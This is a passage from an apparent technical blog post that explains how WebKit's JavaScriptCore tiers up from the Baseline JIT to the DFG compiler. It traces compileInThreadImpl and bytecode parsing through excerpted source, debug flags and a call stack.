</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>        codeBlock<span style="color:#f92672">-&gt;</span>optimizeSoon();
</span></span><span style="display:flex;"><span>        codeBlock<span style="color:#f92672">-&gt;</span>unlinkedCodeBlock()<span style="color:#f92672">-&gt;</span>setDidOptimize(TriState<span style="color:#f92672">::</span>True);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">void</span><span style="color:#f92672">*</span> targetPC <span style="color:#f92672">=</span> vm.getCTIStub(DFG<span style="color:#f92672">::</span>osrEntryThunkGenerator).code().executableAddress();
</span></span><span style="display:flex;"><span>        targetPC <span style="color:#f92672">=</span> retagCodePtr(targetPC, JITThunkPtrTag, bitwise_cast<span style="color:#f92672">&lt;</span>PtrTag<span style="color:#f92672">&gt;</span>(callFrame));
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> encodeResult(targetPC, dataBuffer);   <span style="color:#f92672">&lt;--</span> Return target address <span style="color:#66d9ef">for</span> OSR Entry into the optimised CodeBlock
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> encodeResult(<span style="color:#66d9ef">nullptr</span>, <span style="color:#66d9ef">nullptr</span>);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>In the snippet above, DFG compilation is initiated with the call to <a href="https://github.com/WebKit/WebKit/blob/2d77b53cd9604e46a7b7c5002e3420a0e883f83f/Source/JavaScriptCore/jit/JITOperations.cpp#L1867"><code>DFG::compile</code></a>. Once compilation succeeds, a <a href="https://github.com/WebKit/WebKit/blob/2d77b53cd9604e46a7b7c5002e3420a0e883f83f/Source/JavaScriptCore/jit/JITOperations.cpp#L1880">target address for OSR Entry</a> into the optimised CodeBlock is acquired and returned to the BaselineJIT.</p>
<p>With this high level overview of now the Baseline JIT tiers-up to the DFG, let&rsquo;s now dive into the details of DFG compilation. The sections that follow being by explaining how bytecode is parsed to generate a DFG, the DFG IR, and some examples typical JS programs that are represented in DFG IR.</p>
<h1 id="graph-building">Graph Building</h1>
<p>Now that JSC has determined that the CodeBlock is <em>hot</em> enough to be compiled by the DFG, the next step is to parse the bytecodes generated for the CodeBlock into a graph that the DFG can then optimise and finally lower to machine code. Before getting started, there are some command line flags that should be enabled which will aid in debugging the DFG:</p>
<ul>
<li><code>reportDFGCompileTimes</code> : We&rsquo;ve previously seen the use of the <code>reportCompileTimes</code> flag and the statistics it prints about compilation in the Baseline JIT. Whilst <code>reportCompileTimes</code> would print compile times for all JIT tiers one can restrict logging to just the DFG compile times by using the <code>reportDFGCompileTimes</code> flag. This is mainly to tidy up our output to <em>stdout</em>,</li>
<li><code>dumpBytecodeAtDFGTime</code> : Enabling this flag will dump the bytecodes in the CodeBlock that will be compiled by the DFG,</li>
<li><code>verboseDFGBytecodeParsing</code> : Enabling this flag will print snippets of DFG IR as each bytecode in the CodeBlock is parsed,</li>
<li><code>dumpGraphAfterParsing</code> : Enabling this flag will print the generated unoptimised DFG to <em>stdout</em></li>
</ul>
<p>The debugging environment was updated by modifying <code>launch.json</code> as follows (Note that the DFG tier-up thresholds have now been reduced by adding the <em>thresholdForOptimize</em> flags):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#f92672">&#34;program&#34;</span>: <span style="color:#e6db74">&#34;/home/amar/workspace/WebKit/WebKitBuild/Debug/bin/jsc&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&#34;args&#34;</span>: [
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;--useConcurrentJIT=false&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;--useFTLJIT=false&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;--verboseOSR=true&#34;</span>,
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;--thresholdForJITSoon=10&#34;</span>, 
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;--thresholdForJITAfterWarmUp=10&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;--thresholdForOptimizeAfterWarmUp=100&#34;</span>, 
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;--thresholdForOptimizeAfterLongWarmUp=100&#34;</span>, 
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;--thresholdForOptimizeSoon=100&#34;</span>, 
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;--reportDFGCompileTimes=true&#34;</span>,        
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;--dumpBytecodeAtDFGTime=true&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;--verboseDFGBytecodeParsing=true&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;--dumpGraphAfterParsing=true&#34;</span>,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;/home/amar/workspace/WebKit/WebKitBuild/Debug/bin/test.js&#34;</span>
</span></span><span style="display:flex;"><span>    ],
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>}
</span></span></code></pre></div><p>Let&rsquo;s now resume our debug tracing at <a href="hhttps://github.com/WebKit/WebKit/blob/2d77b53cd9604e46a7b7c5002e3420a0e883f83f/Source/JavaScriptCore/jit/JITOperations.cpp#L1867">DFG::Compile</a> in JITOperations.cpp, which through a series of calls, ends up calling <a href="https://github.com/WebKit/WebKit/blob/2d77b53cd9604e46a7b7c5002e3420a0e883f83f/Source/JavaScriptCore/dfg/DFGPlan.cpp#L238"><code>DFG::Plan::compileInThreadImpl</code></a>. The call stack should resemble something similar to the one below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#a6e22e">libJavaScriptCore</span>.<span style="color:#a6e22e">so</span>.<span style="color:#ae81ff">1</span><span style="color:#f92672">!</span><span style="color:#a6e22e">JSC</span><span style="color:#f92672">::</span><span style="color:#a6e22e">DFG</span><span style="color:#f92672">::</span><span style="color:#a6e22e">Plan</span><span style="color:#f92672">::</span><span style="color:#a6e22e">compileInThreadImpl</span>(<span style="color:#a6e22e">JSC</span><span style="color:#f92672">::</span><span style="color:#a6e22e">DFG</span><span style="color:#f92672">::</span><span style="color:#a6e22e">Plan</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">this</span>) (<span style="color:#960050;background-color:#1e0010">/home/amar/workspace/WebKit/Source/JavaScriptCore/dfg/DFGPlan.cpp:240)</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">libJavaScriptCore</span>.<span style="color:#a6e22e">so</span>.<span style="color:#ae81ff">1</span><span style="color:#f92672">!</span><span style="color:#a6e22e">JSC</span><span style="color:#f92672">::</span><span style="color:#a6e22e">DFG</span><span style="color:#f92672">::</span><span style="color:#a6e22e">Plan</span><span style="color:#f92672">::</span><span style="color:#a6e22e">compileInThread</span>(<span style="color:#a6e22e">JSC</span><span style="color:#f92672">::</span><span style="color:#a6e22e">DFG</span><span style="color:#f92672">::</span><span style="color:#a6e22e">Plan</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">this</span>, <span style="color:#a6e22e">JSC</span><span style="color:#f92672">::</span><span style="color:#a6e22e">DFG</span><span style="color:#f92672">::</span><span style="color:#a6e22e">ThreadData</span> <span style="color:#f92672">*</span> <span style="color:#a6e22e">threadData</span>) (<span style="color:#960050;background-color:#1e0010">/home/amar/workspace/WebKit/Source/JavaScriptCore/dfg/DFGPlan.cpp:189)</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">libJavaScriptCore</span>.<span style="color:#a6e22e">so</span>.<span style="color:#ae81ff">1</span><span style="color:#f92672">!</span><span style="color:#a6e22e">JSC</span><span style="color:#f92672">::</span><span style="color:#a6e22e">DFG</span><span style="color:#f92672">::</span><span style="color:#a6e22e">compileImpl</span>(<span style="color:#a6e22e">JSC</span><span style="color:#f92672">::</span><span style="color:#a6e22e">VM</span> <span style="color:#f92672">&amp;</span> <span style="color:#a6e22e">vm</span>, <span style="color:#a6e22e">JSC</span><span style="color:#f92672">::</span><span style="color:#a6e22e">CodeBlock</span> <span style="color:#f92672">*</span> <span style="color:#a6e22e">codeBlock</span>, <span style="color:#a6e22e">JSC</span><span style="color:#f92672">::</span><span style="color:#a6e22e">CodeBlock</span> <span style="color:#f92672">*</span> <span style="color:#a6e22e">profiledDFGCodeBlock</span>, <span style="color:#a6e22e">JSC</span><span style="color:#f92672">::</span><span style="color:#a6e22e">DFG</span><span style="color:#f92672">::</span><span style="color:#a6e22e">CompilationMode</span> <span style="color:#a6e22e">mode</span>, <span style="color:#a6e22e">JSC</span><span style="color:#f92672">::</span><span style="color:#a6e22e">BytecodeIndex</span> <span style="color:#a6e22e">osrEntryBytecodeIndex</span>, <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">JSC</span><span style="color:#f92672">::</span><span style="color:#a6e22e">Operands</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">WTF</span><span style="color:#f92672">::</span><span style="color:#a6e22e">Optional</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">JSC</span><span style="color:#f92672">::</span><span style="color:#a6e22e">JSValue</span><span style="color:#f92672">&gt;</span> <span style="color:#f92672">&gt;</span> <span style="color:#f92672">&amp;</span> <span style="color:#a6e22e">mustHandleValues</span>, <span style="color:#a6e22e">WTF</span><span style="color:#f92672">::</span><span style="color:#a6e22e">Ref</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">JSC</span><span style="color:#f92672">::</span><span style="color:#a6e22e">DeferredCompilationCallback</span>, <span style="color:#a6e22e">WTF</span><span style="color:#f92672">::</span><span style="color:#a6e22e">DumbPtrTraits</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">JSC</span><span style="color:#f92672">::</span><span style="color:#a6e22e">DeferredCompilationCallback</span><span style="color:#f92672">&gt;</span> <span style="color:#f92672">&gt;</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">callback</span>) (<span style="color:#960050;background-color:#1e0010">/home/amar/workspace/WebKit/Source/JavaScriptCore/dfg/DFGDriver.cpp:104)</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">libJavaScriptCore</span>.<span style="color:#a6e22e">so</span>.<span style="color:#ae81ff">1</span><span style="color:#f92672">!</span><span style="color:#a6e22e">JSC</span><span style="color:#f92672">::</span><span style="color:#a6e22e">DFG</span><span style="color:#f92672">::</span><span style="color:#a6e22e">compile</span>(<span style="color:#a6e22e">JSC</span><span style="color:#f92672">::</span><span style="color:#a6e22e">VM</span> <span style="color:#f92672">&amp;</span> <span style="color:#a6e22e">vm</span>, <span style="color:#a6e22e">JSC</span><span style="color:#f92672">::</span><span style="color:#a6e22e">CodeBlock</span> <span style="color:#f92672">*</span> <span style="color:#a6e22e">codeBlock</span>, <span style="color:#a6e22e">JSC</span><span style="color:#f92672">::</span><span style="color:#a6e22e">CodeBlock</span> <span style="color:#f92672">*</span> <span style="color:#a6e22e">profiledDFGCodeBlock</span>, <span style="color:#a6e22e">JSC</span><span style="color:#f92672">::</span><span style="color:#a6e22e">DFG</span><span style="color:#f92672">::</span><span style="color:#a6e22e">CompilationMode</span> <span style="color:#a6e22e">mode</span>, <span style="color:#a6e22e">JSC</span><span style="color:#f92672">::</span><span style="color:#a6e22e">BytecodeIndex</span> <span style="color:#a6e22e">osrEntryBytecodeIndex</span>, <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">JSC</span><span style="color:#f92672">::</span><span style="color:#a6e22e">Operands</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">WTF</span><span style="color:#f92672">::</span><span style="color:#a6e22e">Optional</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">JSC</span><span style="color:#f92672">::</span><span style="color:#a6e22e">JSValue</span><span style="color:#f92672">&gt;</span> <span style="color:#f92672">&gt;</span> <span style="color:#f92672">&amp;</span> <span style="color:#a6e22e">mustHandleValues</span>, <span style="color:#a6e22e">WTF</span><span style="color:#f92672">::</span><span style="color:#a6e22e">Ref</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">JSC</span><span style="color:#f92672">::</span><span style="color:#a6e22e">DeferredCompilationCallback</span>, <span style="color:#a6e22e">WTF</span><span style="color:#f92672">::</span><span style="color:#a6e22e">DumbPtrTraits</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">JSC</span><span style="color:#f92672">::</span><span style="color:#a6e22e">DeferredCompilationCallback</span><span style="color:#f92672">&gt;</span> <span style="color:#f92672">&gt;</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">callback</span>) (<span style="color:#960050;background-color:#1e0010">/home/amar/workspace/WebKit/Source/JavaScriptCore/dfg/DFGDriver.cpp:121)</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">libJavaScriptCore</span>.<span style="color:#a6e22e">so</span>.<span style="color:#ae81ff">1</span><span style="color:#f92672">!</span><span style="color:#a6e22e">JSC</span><span style="color:#f92672">::</span><span style="color:#a6e22e">operationOptimize</span>(<span style="color:#a6e22e">JSC</span><span style="color:#f92672">::</span><span style="color:#a6e22e">VM</span> <span style="color:#f92672">*</span> <span style="color:#a6e22e">vmPointer</span>, <span style="color:#a6e22e">uint32_t</span> <span style="color:#a6e22e">bytecodeIndexBits</span>) (<span style="color:#960050;background-color:#1e0010">/home/amar/workspace/WebKit/Source/JavaScriptCore/jit/JITOperations.cpp:1787)</span>
</span></span><span style="display:flex;"><span>[<span style="color:#a6e22e">Unknown</span><span style="color:#f92672">/</span><span style="color:#a6e22e">Just</span><span style="color:#f92672">-</span><span style="color:#a6e22e">In</span><span style="color:#f92672">-</span><span style="color:#a6e22e">Time</span> <span style="color:#a6e22e">compiled</span> <span style="color:#a6e22e">code</span>] (<span style="color:#a6e22e">Unknown</span> <span style="color:#a6e22e">Source</span><span style="color:#f92672">:</span><span style="color:#ae81ff">0</span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">libJavaScriptCore</span>.<span style="color:#a6e22e">so</span>.<span style="color:#ae81ff">1</span><span style="color:#f92672">!</span><span style="color:#a6e22e">llint_op_call</span>() (<span style="color:#960050;background-color:#1e0010">/home/amar/workspace/WebKit/Source/JavaScriptCore/llint/LowLevelInterpreter.asm:1047)</span>
</span></span><span style="display:flex;"><span>[<span style="color:#a6e22e">Unknown</span><span style="color:#f92672">/</span><span style="color:#a6e22e">Just</span><span style="color:#f92672">-</span><span style="color:#a6e22e">In</span><span style="color:#f92672">-</span><span style="color:#a6e22e">Time</span> <span style="color:#a6e22e">compiled</span> <span style="color:#a6e22e">code</span>] (<span style="color:#a6e22e">Unknown</span> <span style="color:#a6e22e">Source</span><span style="color:#f92672">:</span><span style="color:#ae81ff">0</span>)
</span></span></code></pre></div><p>The function <code>compileInThreadImpl</code> is responsible for three main tasks:</p>
<ol>
<li>Parsing the bytecodes in the CodeBlock to a graph,</li>
<li>Optimising the graph,</li>
<li>Generating machine code from the optimised graph.</li>
</ol>
<p>These have been highlighted in the truncated code snippet below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>Plan<span style="color:#f92672">::</span>CompilationPath Plan<span style="color:#f92672">::</span>compileInThreadImpl()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    Graph <span style="color:#a6e22e">dfg</span>(<span style="color:#f92672">*</span>m_vm, <span style="color:#f92672">*</span><span style="color:#66d9ef">this</span>);
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>        parse(dfg);   <span style="color:#f92672">&lt;--</span> Bytecode parsed and unoptimised graph generated.
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    RUN_PHASE(performLiveCatchVariablePreservationPhase);   <span style="color:#f92672">&lt;--</span> Begin graph optimisation
</span></span><span style="display:flex;"><span>    RUN_PHASE(performCPSRethreading);
</span></span><span style="display:flex;"><span>    RUN_PHASE(performUnification);
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">switch</span> (m_mode) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">case</span> DFGMode: {
</span></span><span style="display:flex;"><span>        dfg.m_fixpointState <span style="color:#f92672">=</span> FixpointConverged;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        RUN_PHASE(performTierUpCheckInjection);
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        RUN_PHASE(performWatchpointCollection);
</span></span><span style="display:flex;"><span>        dumpAndVerifyGraph(dfg, <span style="color:#e6db74">&#34;Graph after optimization:&#34;</span>);   <span style="color:#f92672">&lt;--</span> Graph optimisation complete
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>            JITCompiler <span style="color:#a6e22e">dataFlowJIT</span>(dfg);     
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (m_codeBlock<span style="color:#f92672">-&gt;</span>codeType() <span style="color:#f92672">==</span> FunctionCode)
</span></span><span style="display:flex;"><span>                dataFlowJIT.compileFunction();
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span>                dataFlowJIT.compile();  <span style="color:#f92672">&lt;--</span> The optimised dfg is now compiled to machine code
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> DFGPath;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>This function is particularly important and this blog will return to it periodically in blog posts to follow. Now that one has an overview of the three main activities performed by <code>compileInThreadImpl</code>, the rest of this blog post will focus on the first activity which is bytecode parsing and graph generation.</p>
<h2 id="bytecode-parsing">Bytecode Parsing</h2>
<p>The first step in DFG compilation is parsing bytecode to generate a graph. This is done by creating a <a href="https://github.com/WebKit/WebKit/blob/8d6cfbc464d572b045c538ff4d092fe0c1f23cea/Source/JavaScriptCore/dfg/DFGGraph.h#L162"><code>Graph</code></a> object which is initialised with the CodeBlock to be parsed and then calling the <a href="https://github.com/WebKit/WebKit/blob/8d6cfbc464d572b045c538ff4d092fe0c1f23cea/Source/JavaScriptCore/dfg/DFGByteCodeParser.cpp#L8849"><code>DFG::parse</code></a> function on this graph object.</p>
<p>The <code>DFG::parse</code> function which is essentially a wrapper to <a href="https://github.com/WebKit/WebKit/blob/8d6cfbc464d572b045c538ff4d092fe0c1f23cea/Source/JavaScriptCore/dfg/DFGByteCodeParser.cpp#L8681"><code>ByteCodeParser::parse()</code></a>. The function begins parsing the CodeBlock with a call to <a href="https://github.com/WebKit/WebKit/blob/8d6cfbc464d572b045c538ff4d092fe0c1f23cea/Source/JavaScriptCore/dfg/DFGByteCodeParser.cpp#L8434"><code>ByteCodeParser::parseCodeBlock</code></a>. The function <code>parseCodeBlock</code> collects information about the various <em>jump targets</em> that the bytecodes in the CodeBlock may have. This is done by the function <a href="https://github.com/WebKit/WebKit/blob/e6e27467d6902dd69161e24bc0fa85d517a65422/Source/JavaScriptCore/bytecode/PreciseJumpTargets.cpp#L35"><code>JSC::getJumpTargetsForInstruction</code></a>.</p>
<p>Once <em>jump targets</em> have been recorded, the function <code>parseCodeBlock</code> enters a loop that iterates over each <em>jump target</em> and performs the following actions; first it <a href="https://github.com/WebKit/WebKit/blob/8d6cfbc464d572b045c538ff4d092fe0c1f23cea/Source/JavaScriptCore/dfg/DFGByteCodeParser.cpp#L8487">allocates a BasicBlock</a> and appends it to the graph object. If this is the first block in the graph, it is <a href="https://github.com/WebKit/WebKit/blob/8d6cfbc464d572b045c538ff4d092fe0c1f23cea/Source/JavaScriptCore/dfg/DFGByteCodeParser.cpp#L8492">marked as an OSR target</a> and a reference to the block is appended to the list of root nodes in the graph:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">unsigned</span> jumpTargetIndex <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; jumpTargetIndex <span style="color:#f92672">&lt;=</span> jumpTargets.size(); <span style="color:#f92672">++</span>jumpTargetIndex) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">unsigned</span> limit <span style="color:#f92672">=</span> jumpTargetIndex <span style="color:#f92672">&lt;</span> jumpTargets.size() <span style="color:#f92672">?</span> jumpTargets[jumpTargetIndex] <span style="color:#f92672">:</span> codeBlock<span style="color:#f92672">-&gt;</span>instructions().size();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Loop until we reach the current limit (i.e. next jump target).
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">do</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>m_currentBlock) {
</span></span><span style="display:flex;"><span>            m_currentBlock <span style="color:#f92672">=</span> allocateTargetableBlock(m_currentIndex);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            <span style="color:#75715e">// The first block is definitely an OSR target.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>            <span style="color:#66d9ef">if</span> (m_graph.numBlocks() <span style="color:#f92672">==</span> <span style="color:#ae81ff">1</span>) {
</span></span><span style="display:flex;"><span>                m_currentBlock<span style="color:#f92672">-&gt;</span>isOSRTarget <span style="color:#f92672">=</span> true;
</span></span><span style="display:flex;"><span>                m_graph.m_roots.append(m_currentBlock);
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>            prepareToParseBlock();
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        parseBlock(limit);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    } <span style="color:#66d9ef">while</span> (m_currentIndex.offset() <span style="color:#f92672">&lt;</span> limit);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Once the BasicBlock has been allocated, it then calls <a href="https://github.com/WebKit/WebKit/blob/8d6cfbc464d572b045c538ff4d092fe0c1f23cea/Source/JavaScriptCore/dfg/DFGByteCodeParser.cpp#L5285"><code>ByteCodeParser::parseBlock</code></a> with the argument <code>limit</code>. This argument determines the number of bytecode instructions within the CodeBlock that need to be included in the BasicBlock that was allocated.The function <code>parseBlock</code> is responsible for the parsing of this set of bytecode instructions and generating nodes and edges for the BasicBlock.</p>
<p>The function begins by evaluating if the basic block that is being parsed is the first block in the graph, if this is the case then each <em>argument value</em> to the basic block is appended as a <a href="https://github.com/WebKit/WebKit/blob/55c2c023f1219256a3591c5085cabd485ba02910/Source/JavaScriptCore/dfg/DFGNode.h#L295"><code>Node</code></a> to the graph. In the example script <code>test.js</code> above, <em>argument values</em> would be the parameters (i.e. <code>x</code>, <code>y</code> and <code>this</code>) passed to the function <code>jitMe</code>.</p>
<p><code>Node</code>s represent a single DFG operation. With the <em>arguments</em> added to the graph, the function then loops over each opcode in the bytecode list and appends one or more <code>Node</code>s to the graph with the call to the overloaded function <a href="https://github.com/WebKit/WebKit/blob/8d6cfbc464d572b045c538ff4d092fe0c1f23cea/Source/JavaScriptCore/dfg/DFGByteCodeParser.cpp#L788"><code>addToGraph</code></a>. The truncated <code>parseBlock</code> with the key functionalities annotated with comments is shown below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> ByteCodeParser<span style="color:#f92672">::</span>parseBlock(<span style="color:#66d9ef">unsigned</span> limit)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">auto</span><span style="color:#f92672">&amp;</span> instructions <span style="color:#f92672">=</span> m_inlineStackTop<span style="color:#f92672">-&gt;</span>m_codeBlock<span style="color:#f92672">-&gt;</span>instructions();
</span></span><span style="display:flex;"><span>    BytecodeIndex blockBegin <span style="color:#f92672">=</span> m_currentIndex;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (m_currentBlock <span style="color:#f92672">==</span> m_graph.block(<span style="color:#ae81ff">0</span>) <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">!</span>inlineCallFrame()) {
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">unsigned</span> argument <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; argument <span style="color:#f92672">&lt;</span> m_numArguments; <span style="color:#f92672">++</span>argument) {
</span></span><span style="display:flex;"><span>            VariableAccessData<span style="color:#f92672">*</span> variable <span style="color:#f92672">=</span> newVariableAccessData(
</span></span><span style="display:flex;"><span>                virtualRegisterForArgumentIncludingThis(argument));
</span></span><span style="display:flex;"><span>           <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>            
</span></span><span style="display:flex;"><span>            <span style="color:#75715e">/* Add argument to graph */</span>
</span></span><span style="display:flex;"><span>            Node<span style="color:#f92672">*</span> setArgument <span style="color:#f92672">=</span> addToGraph(SetArgumentDefinitely, OpInfo(variable));     
</span></span><span style="display:flex;"><span>            <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    CodeBlock<span style="color:#f92672">*</span> codeBlock <span style="color:#f92672">=</span> m_inlineStackTop<span style="color:#f92672">-&gt;</span>m_codeBlock;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">auto</span> jumpTarget <span style="color:#f92672">=</span> [<span style="color:#f92672">&amp;</span>](<span style="color:#66d9ef">int</span> target) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (target)
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> target;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> codeBlock<span style="color:#f92672">-&gt;</span>outOfLineJumpOffset(m_currentInstruction);
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">/* Loop over each opcode in the list of bytecode instruction list */</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">while</span> (true) {
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// Switch on the current bytecode opcode.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">const</span> Instruction<span style="color:#f92672">*</span> currentInstruction <span style="color:#f92672">=</span> instructions.at(m_currentIndex).ptr();
</span></span><span style="display:flex;"><span>        m_currentInstruction <span style="color:#f92672">=</span> currentInstruction; <span style="color:#75715e">// Some methods want to use this, and we&#39;d rather not thread it through calls.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        OpcodeID opcodeID <span style="color:#f92672">=</span> currentInstruction<span style="color:#f92672">-&gt;</span>opcodeID();
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">switch</span> (opcodeID) {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// === Function entry opcodes ===
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
